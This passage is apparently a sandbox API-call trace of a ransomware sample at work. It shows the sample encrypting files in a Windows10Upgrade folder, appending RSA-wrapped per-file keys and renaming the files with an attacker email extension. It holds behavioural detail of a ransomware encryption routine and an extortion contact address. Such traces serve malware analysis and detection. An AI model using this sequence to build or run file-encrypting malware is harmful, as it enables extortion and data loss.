nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.744] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39eff9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39eff9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x26b6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.744] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a3e27, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a3e27, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x5d7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="nxquery.inf", cAlternateFileName="")) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0149.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.744] GetLastError () returned 0x0 [0149.744] SetLastError (dwErrCode=0x0) [0149.744] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.745] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a652e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a652e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x50b0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NXQuery.sys", cAlternateFileName="")) returned 1 [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.745] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1566411c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1566411c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1566411c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] GetLastError () returned 0x0 [0149.745] SetLastError (dwErrCode=0x0) [0149.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.745] FindNextFileW (in: hFindFile=0x630f80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1566411c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1566411c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1566411c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.745] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.745] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys", dwFileAttributes=0x80) returned 1 [0149.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0149.746] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.746] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20656) returned 1 [0149.746] ReadFile (in: hFile=0x630, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x50b0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x50b0, lpOverlapped=0x0) returned 1 [0149.747] SetFilePointer (in: hFile=0x630, lDistanceToMove=-20656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.747] WriteFile (in: hFile=0x630, lpBuffer=0x656958*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x656958*, lpNumberOfBytesWritten=0x2e3f9b4*=0x50b0, lpOverlapped=0x0) returned 1 [0149.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656958 | out: hHeap=0x570000) returned 1 [0149.748] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x50b0 [0149.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.748] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.748] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.748] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Qb624EuBImOlGAV5H0LqquXKovf18wUMr/FGtswOpNIRMCJP1oZ9QWghZIxbWYCy\nbtSGJj7XBZY1bT8cQ9CxrRjLJ7if+eL91AtLeQ0cIINTlgRPvmvoJqCp36g7i1dh\ncq98I2Nf2gm9sfoEb9XPovwA9GbK1amAbicg19A+bjQOOMpY6lND6ARmkBUf4eJ4\n+yBEpj+hYl89t9gtcdkmfcMljLRJPYVOF3HDyaUkJc54/LcCTYefWs2+BECSisca\nPzryBnDsz8I1EeKUTNBtMm/gHpPXBsOWEBghDrgecO0D72R6a3J1T6MdVwlD23tA\n+pvB4dmDgc7YYP1k25ooGg==\n", pcchString=0x2e3f9a8) returned 1 [0149.748] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.748] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.748] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.748] CloseHandle (hObject=0x630) returned 1 [0149.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.748] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\NXQuery.sys.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.sys.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0149.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0149.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0149.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0149.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.750] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.750] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf", dwFileAttributes=0x80) returned 1 [0149.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0149.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0149.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0149.750] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.751] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1495) returned 1 [0149.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d7) returned 0x5b5a90 [0149.751] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5d7) returned 0x6518a0 [0149.751] ReadFile (in: hFile=0x630, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x5d7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x5d7, lpOverlapped=0x0) returned 1 [0149.762] SetFilePointer (in: hFile=0x630, lDistanceToMove=-1495, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.763] WriteFile (in: hFile=0x630, lpBuffer=0x6518a0*, nNumberOfBytesToWrite=0x5d7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5d7, lpOverlapped=0x0) returned 1 [0149.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0149.763] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.763] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5d7 [0149.763] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.763] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.763] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.763] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.763] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.763] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Z2coICOz1ZnIGH5PvpGgwNaVXqIu65safPdaaZ3zshiHqJCm/kmtQ+MEbzrlLpPb\n5PsWwFfWw79TPIoiuJPsVmHXaNW4zTtiyNl/s9t1AtOI9Si3ZDxapW2M/azx6Kjd\nNnGzkA2dfTplrF/JiEF4CdpB2FfPHnGZoH8atZag18ec53ONQRxTcCge+ZyStw5a\nHKOerNEXRxnEEN6/ju38kmCIHIcFgUFJrwkgPeae8XfuF0JKUe8y1SYjq2insgGc\nbV9oWRgzNxmmgjOx2mNII4MaD62QIRFowf5crn+nsIQzT4cXWPCvPMn2FXRLSTbD\nooJqo26rOthPFK8fX93mYw==\n", pcchString=0x2e3f9a8) returned 1 [0149.764] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.764] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.764] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.764] CloseHandle (hObject=0x630) returned 1 [0149.764] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.764] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.inf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.inf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0149.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0149.766] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0149.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0149.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.766] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.766] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat", dwFileAttributes=0x80) returned 1 [0149.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0149.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0149.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0149.767] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.767] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9910) returned 1 [0149.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x26b6) returned 0x6518a0 [0149.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x26b6) returned 0x653f60 [0149.768] ReadFile (in: hFile=0x630, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x26b6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x26b6, lpOverlapped=0x0) returned 1 [0149.810] SetFilePointer (in: hFile=0x630, lDistanceToMove=-9910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.810] WriteFile (in: hFile=0x630, lpBuffer=0x653f60*, nNumberOfBytesToWrite=0x26b6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x653f60*, lpNumberOfBytesWritten=0x2e3f9b4*=0x26b6, lpOverlapped=0x0) returned 1 [0149.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653f60 | out: hHeap=0x570000) returned 1 [0149.811] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x26b6 [0149.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.811] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.811] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.811] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.811] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="XDwWd/24wuyppR7XQLDZZvInfAsEShV5kMHxarhHUHrYqDrVuKY7Uf06y2qmVFQf\nGO0YD6Jd4OGlCR4md0cUbnsDSHz0TgD1v4SrLt8vjcSKk0OcSWca/KTlgZ456VGp\n3pUfyn+1YAXk4P1Pq1ptkEPldsX/Dl2Com/w4rpRgq2wahDC0swqi64H99pWZnhA\nHxwRr69YytFVKgegdXmVaccHWK/k3Wul6D6kfMjYHemQ4BtoEDfTPd7S7E604rBY\nLcfZmk0ns8Xtijc7ixKUGRbthQ41OTCra/IzDJ0f4LU2kHW3rzgJy2FHsw+Hl45a\nacOct5JGNoOM4Sg9UNC2TQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.811] WriteFile (in: hFile=0x630, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.811] WriteFile (in: hFile=0x630, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.811] CloseHandle (hObject=0x630) returned 1 [0149.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.811] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), lpNewFileName="\\Windows10Upgrade\\resources\\amd64\\nxquery.cat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0149.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0149.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0149.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0149.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0149.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0149.813] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.813] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt", dwFileAttributes=0x80) returned 1 [0149.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0149.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0149.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0149.813] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x630 [0149.814] GetFileSizeEx (in: hFile=0x630, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2317) returned 1 [0149.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90d) returned 0x6518a0 [0149.814] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90d) returned 0x6521b8 [0149.814] ReadFile (in: hFile=0x630, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x90d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x90d, lpOverlapped=0x0) returned 1 [0149.815] SetFilePointer (in: hFile=0x630, lDistanceToMove=-2317, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.815] WriteFile (in: hFile=0x630, lpBuffer=0x6521b8*, nNumberOfBytesToWrite=0x90d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6521b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x90d, lpOverlapped=0x0) returned 1 [0149.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0149.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6521b8 | out: hHeap=0x570000) returned 1 [0149.815] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x90d [0149.815] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.815] WriteFile (in: hFile=0x630, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.815] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, 